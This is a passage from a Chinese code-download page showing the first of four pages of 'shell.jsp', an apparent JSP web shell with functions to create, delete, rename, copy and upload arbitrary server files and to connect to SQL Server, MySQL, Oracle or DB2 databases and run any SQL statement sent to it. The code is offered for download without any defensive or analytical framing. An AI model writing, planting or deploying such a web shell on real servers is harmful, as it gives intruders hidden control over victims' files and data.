⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 shell.jsp

📁 一般性的内容,可以生成和修改还在有其他的好友添加等等
💻 JSP
📖 第 1 页 / 共 4 页
字号:
	String sRet = "";
	File file = null;
	
	path = pathConvert(path);
	
	try {
		file = new File(path + fileName);
		
		if (file.createNewFile()) {
			sRet = "<meta http-equiv=\"refresh\" content=\"0;url=" + curUri + "&curPath=" + path + fileName + "&fsAction=open" + "\" />";
		} else {
			sRet = "<font color=\"red\">\"" + path + fileName + "\"文件已经存在</font>";
		}
	} catch (SecurityException e) {
		sRet = "<font color=\"red\">安全问题,没有权限执行该操作</font>";
	} catch (IOException e) {
		sRet = "<font color=\"red\">创建文件\"" + path + fileName + "\"失败</font>";
	}
	
	return sRet;
} 

public String deleteFile(String path, String curUri, String[] files2Delete) {
	String sRet = "";
	File tmpFile = null;
	
	try {
		for (int i = 0; i < files2Delete.length; i ++) {
			tmpFile = new File(files2Delete[i]);
			if (! tmpFile.delete()) {
				sRet += "<font color=\"red\">删除\"" + files2Delete[i] + "\"失败</font><br>\n";
			}
		}
		
		if (sRet.equals("")) {
			sRet = "删除成功,正在返回,请稍候……\n";
			sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "\" />";
		}
	} catch (SecurityException e) {
		sRet = "<font color=\"red\">安全问题,没有权限执行该操作</font>\n";
	}
	
	return sRet;
}

public String saveAs(String path, String curUri, String fileContent) {
	String sRet = "";
	File file = null;
	FileWriter fileWriter = null;
	
	try {
		file = new File(path);
		
		if (file.createNewFile()) {
			fileWriter = new FileWriter(file);
			fileWriter.write(fileContent);
			fileWriter.close();
			
			sRet = "<meta http-equiv=\"refresh\" content=\"0;url=" + curUri + "&curPath=" + path + "&fsAction=open" + "\" />";
		} else {
			sRet = "<font color=\"red\">文件\"" + path + "\"已经存在</font>";
		}
	} catch (IOException e) {
		sRet = "<font color=\"red\">创建文件\"" + path + "\"失败</font>";
	}	
	
	return sRet;
}


public String uploadFile(ServletRequest request, String path, String curUri) {
	String sRet = "";
	File file = null;
	InputStream in = null;
	
	path = pathConvert(path);
	
	try {
		in = request.getInputStream();
		
		byte[] inBytes = new byte[request.getContentLength()];
		int nBytes;
		int start = 0;
		int end = 0;
		int size = 1024;
		String token = null;
		String filePath = null;

		//
		// 把输入流读入一个字节数组
		//
		while ((nBytes = in.read(inBytes, start, size)) != -1) {
			start += nBytes;
		}
		
		in.close();
		//
		// 从字节数组中得到文件分隔符号
		//
		int i = 0;
		byte[] seperator;
		
		while (inBytes[i] != 13) {
			i ++;
		}
		
		seperator =  new byte[i];
	
		for (i = 0; i < seperator.length; i ++) {
			seperator[i] = inBytes[i];
		}
		
		//
		// 得到Header部分
		//
		String dataHeader = null;
		i += 3;
		start = i;
		while (! (inBytes[i] == 13 && inBytes[i + 2] == 13)) {
			i ++;
		}
		end = i - 1;
		dataHeader = new String(inBytes, start, end - start + 1);
		
		//
		// 得到文件名
		//
		token = "filename=\"";
		start = dataHeader.indexOf(token) + token.length();
		token = "\"";
		end = dataHeader.indexOf(token, start) - 1;
		filePath = dataHeader.substring(start, end + 1);
		filePath = 	pathConvert(filePath);
		String fileName = filePath.substring(filePath.lastIndexOf("/") + 1);
		
		//
		// 得到文件内容开始位置
		//	
		i += 4;
		start = i;
		
		/*
		boolean found = true;		
		byte[] tmp = new byte[seperator.length];
		while (i <= inBytes.length - 1 - seperator.length) {
		
			for (int j = i; j < i + seperator.length; j ++) { 
				if (seperator[j - i] != inBytes[j]) {
					found = false;
					break;
				} else
					tmp[j - i] = inBytes[j];
			}
			
			if (found)
				break;
			
			i ++;
		}*/
		
		//
		// 偷懒的办法
		//
		end = inBytes.length - 1 - 2 - seperator.length - 2 - 2;
		
		//
		// 保存为文件
		//
		File newFile = new File(path + fileName);
		newFile.createNewFile();
		FileOutputStream out = new FileOutputStream(newFile);
		
		//out.write(inBytes, start, end - start + 1);
		out.write(inBytes, start, end - start + 1);
		out.close();
		
		sRet = "<script language=\"javascript\">\n";
		sRet += "alert(\"文件上传成功" + fileName + "\");\n";
		sRet += "</script>\n";
	} catch (IOException e) {
		sRet = "<script language=\"javascript\">\n";
		sRet += "alert(\"文件上传失败\");\n";
		sRet += "</script>\n";
	}
	
	sRet += "<meta http-equiv=\"refresh\" content=\"0;url=" + curUri + "&curPath=" + path + "\" />";
	return sRet;
}

public boolean fileCopy(String srcPath, String dstPath) {
	boolean bRet = true;
	
	try {
		FileInputStream in = new FileInputStream(new File(srcPath));
		FileOutputStream out = new FileOutputStream(new File(dstPath));
		byte[] buffer = new byte[1024];
		int nBytes;
		

		while ((nBytes = in.read(buffer, 0, 1024)) != -1) {
			out.write(buffer, 0, nBytes);
		}
		
		in.close();
		out.close();
	} catch (IOException e) {
		bRet = false;
	}	
	
	return bRet;
}

public String getFileNameByPath(String path) {
	String sRet = "";
	
	path = pathConvert(path);
	
	if (path.lastIndexOf("/") != -1) {
		sRet = path.substring(path.lastIndexOf("/") + 1);
	} else {
		sRet = path;
	}
	
	return sRet;
}

public String copyFiles(String path, String curUri, String[] files2Copy, String dstPath) {
	String sRet = "";
	int i;
	
	path = pathConvert(path);
	dstPath = pathConvert(dstPath);
	
	for (i = 0; i < files2Copy.length; i ++) {
		if (! fileCopy(files2Copy[i], dstPath + getFileNameByPath(files2Copy[i]))) {
			sRet += "<font color=\"red\">文件\"" + files2Copy[i] + "\"复制失败</font><br/>";
		}
	}
	
	if (sRet.equals("")) {
		sRet = "文件复制成功,正在返回,请稍候……";
		sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "\" />";
	}
	
	return sRet;
}

public boolean isFileName(String fileName) {
	boolean bRet = false;
	
	Pattern p = Pattern.compile("^[a-zA-Z0-9][\\w\\.]*[\\w]$");
	Matcher m = p.matcher(fileName);
	
	bRet = m.matches();
	
	return bRet;
}

public String renameFile(String path, String curUri, String file2Rename, String newName) {
	String sRet = "";
	
	path = pathConvert(path);
	file2Rename = pathConvert(file2Rename);
	
	try {
		File file = new File(file2Rename);
		
		newName = file2Rename.substring(0, file2Rename.lastIndexOf("/") + 1) + newName;
		File newFile = new File(newName);
		
		if (! file.exists()) {
			sRet = "<font color=\"red\">文件\"" + file2Rename + "\"不存在</font>";
		} else {
			file.renameTo(newFile);
			sRet = "文件重命名成功,正在返回,请稍候……";
			sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "\" />";
		}
	} catch (SecurityException e) {
		sRet = "<font color=\"red\">安全问题导致文件\"" + file2Rename + "\"复制失败</font>";
	}
	
	return sRet;
}

public boolean DBInit(String dbType, String dbServer, String dbPort, String dbUsername, String dbPassword, String dbName) {
	boolean bRet = true;
	String driverName = "";
	
	if (dbServer.equals(""))
		dbServer = "localhost";
	
	try {
		if (dbType.equals("sqlserver")) {
			driverName = "com.microsoft.jdbc.sqlserver.SQLServerDriver";
			if (dbPort.equals(""))
				dbPort = "1433";
			_url = "jdbc:microsoft:sqlserver://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName;
		} else if (dbType.equals("mysql")) {
			driverName = "com.mysql.jdbc.Driver";
			if (dbPort.equals(""))
				dbPort = "3306";
			_url = "jdbc:mysql://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName;
		} else if (dbType.equals("odbc")) {
			driverName = "sun.jdbc.odbc.JdbcOdbcDriver";
			_url = "jdbc:odbc:dsn=" + dbName + ";User=" + dbUsername + ";Password=" + dbPassword;
		} else if (dbType.equals("oracle")) {
			driverName = "oracle.jdbc.driver.OracleDriver";
			_url = "jdbc:oracle:thin@" + dbServer + ":" + dbPort + ":" + dbName;
		} else if (dbType.equals("db2")) {
			driverName = "com.ibm.db2.jdbc.app.DB2Driver";
			_url = "jdbc:db2://" + dbServer + ":" + dbPort + "/" + dbName;
		}
		
		Class.forName(driverName);
	} catch (ClassNotFoundException e) {
		bRet = false;
	}
	
	return bRet;
}

public boolean DBConnect(String User, String Password) {
	boolean bRet = false;
	
	if (_url != null) {
		try {
			_dbConnection = DriverManager.getConnection(_url, User, Password);
			_dbStatement = _dbConnection.createStatement();
			bRet = true; 
		} catch (SQLException e) {
			bRet = false;
		}	
	} 
	
	return bRet;
}

public String DBExecute(String sql) {
	String sRet = "";
	
	if (_dbConnection == null || _dbStatement == null) {
		sRet = "<font color=\"red\">数据库没有正常连接</font>";
	} else {
		try {
			if (sql.toLowerCase().substring(0, 6).equals("select")) {
				ResultSet rs = _dbStatement.executeQuery(sql);
				ResultSetMetaData rsmd = rs.getMetaData();
				int colNum = rsmd.getColumnCount();
				int colType;
				
				sRet = "sql语句执行成功,返回结果<br>\n";
				sRet += "<table align=\"center\" border=\"0\" bgcolor=\"#CCCCCC\" cellpadding=\"2\" cellspacing=\"1\">\n";
				sRet +=	"    <tr bgcolor=\"#FFFFFF\">\n";
				for (int i = 1; i <= colNum; i ++) {
					sRet += "        <th>" + rsmd.getColumnName(i) + "(" + rsmd.getColumnTypeName(i) + ")</th>\n";
				}
				sRet += "    </tr>\n";
				while (rs.next()) {
					sRet += "	<tr bgcolor=\"#FFFFFF\">\n";
					for (int i = 1; i <= colNum; i ++) {
						colType = rsmd.getColumnType(i);
						
						sRet += "		<td>";
						switch (colType) {
							case Types.BIGINT:
							sRet += rs.getLong(i);
							break;
							
							case Types.BIT:
							sRet += rs.getBoolean(i);
							break;
							
							case Types.BOOLEAN:
							sRet += rs.getBoolean(i);
							break;
							
							case Types.CHAR:
							sRet += rs.getString(i);
							break;
							
							case Types.DATE:
							sRet += rs.getDate(i).toString();
							break;
							
							case Types.DECIMAL:
							sRet += rs.getDouble(i);
							break;
							
							case Types.NUMERIC:
							sRet += rs.getDouble(i);
							break;
							
							case Types.REAL:
							sRet += rs.getDouble(i);
							break;
							
							case Types.DOUBLE:
							sRet += rs.getDouble(i);
							break;
							
							case Types.FLOAT:
							sRet += rs.getFloat(i);
							break;
							
							case Types.INTEGER:
							sRet += rs.getInt(i);
							break;
							
							case Types.TINYINT:
							sRet += rs.getShort(i);
							break;
							
							case Types.VARCHAR:
							sRet += rs.getString(i);
							break;
							
							case Types.TIME:
							sRet += rs.getTime(i).toString();
							break;
							
							case Types.DATALINK:
							sRet += rs.getTimestamp(i).toString();
							break;
						}
						sRet += "		</td>\n";
					}
					sRet += "	</tr>\n"; 
				}				
				sRet += "</table>\n";
				
				rs.close();
			} else {
				if (_dbStatement.execute(sql)) {
					sRet = "sql语句执行成功";
				} else {
					sRet = "<font color=\"red\">sql语句执行失败</font>";
				}
			}
		} catch (SQLException e) {
			sRet = "<font color=\"red\">sql语句执行失败</font>";
		}
	}
	
	return sRet;
}

public void DBRelease() {
	try {
		if (_dbStatement != null) {
			_dbStatement.close();
			_dbStatement = null;
		}
		

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -